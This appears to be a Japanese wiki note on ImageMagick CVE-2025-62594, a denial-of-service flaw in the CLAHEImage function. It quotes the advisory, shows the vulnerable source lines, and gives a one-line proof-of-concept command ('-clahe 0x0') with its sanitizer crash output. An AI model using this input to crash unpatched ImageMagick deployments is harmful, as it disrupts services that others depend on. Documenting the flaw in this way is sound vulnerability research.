#author("2025-10-28T12:34:25+00:00","default:yoya","yoya")
#author("2025-10-28T13:39:33+00:00","default:yoya","yoya")
[[CVE/ImageMagick#y2025]]
- https://nvd.nist.gov/vuln/detail/CVE-2025-62594
>
ImageMagick versions prior to 7.1.2-8 are vulnerable to denial-of-service due to unsigned integer underflow and division-by-zero in the CLAHEImage function. When tile width or height is zero, unsigned underflow occurs in pointer arithmetic, leading to out-of-bounds memory access, and division-by-zero causes immediate crashes. This issue has been patched in version 7.1.2-8.
>
ImageMagickのバージョン7.1.2-8より前のバージョンは、CLAHEImage関数における符号なし整数アンダーフローとゼロ除算により、サービス拒否攻撃の脆弱性を有しています。タイルの幅または高さがゼロの場合、ポインタ演算で符号なしアンダーフローが発生し、境界外メモリアクセスが発生します。また、ゼロ除算が発生すると、即座にクラッシュが発生します。この問題はバージョン7.1.2-8で修正されています。
- https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-wpp4-vqfq-v4hp
* PoC [#m62d044c]
export UBSAN_OPTIONS=print_stacktrace=1:halt_on_error=1
export ASAN_OPTIONS=abort_on_error=1:allocator_may_return_null=1:detect_leaks=0
./magick xc:black -clahe 0x0 null:
MagickCore/enhance.c:609:6: runtime error: addition of unsigned offset overflowed
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior MagickCore/enhance.c:609:6 in CLAHEImage
* 問題のコード [#re2b7a7a]
** memory underflow [#qcbc4f14]
p += (ptrdiff_t) clahe_info->width * (tile.height - 1);
** 0 div [#o020e712]
if ((image->columns % tile_info.width) != 0)
tile_info.x=(ssize_t) (tile_info.width-(image->columns % tile_info.width));
tile_info.y=0;
if ((image->rows % tile_info.height) != 0)
tile_info.y=(ssize_t) (tile_info.height-(image->rows % tile_info.height));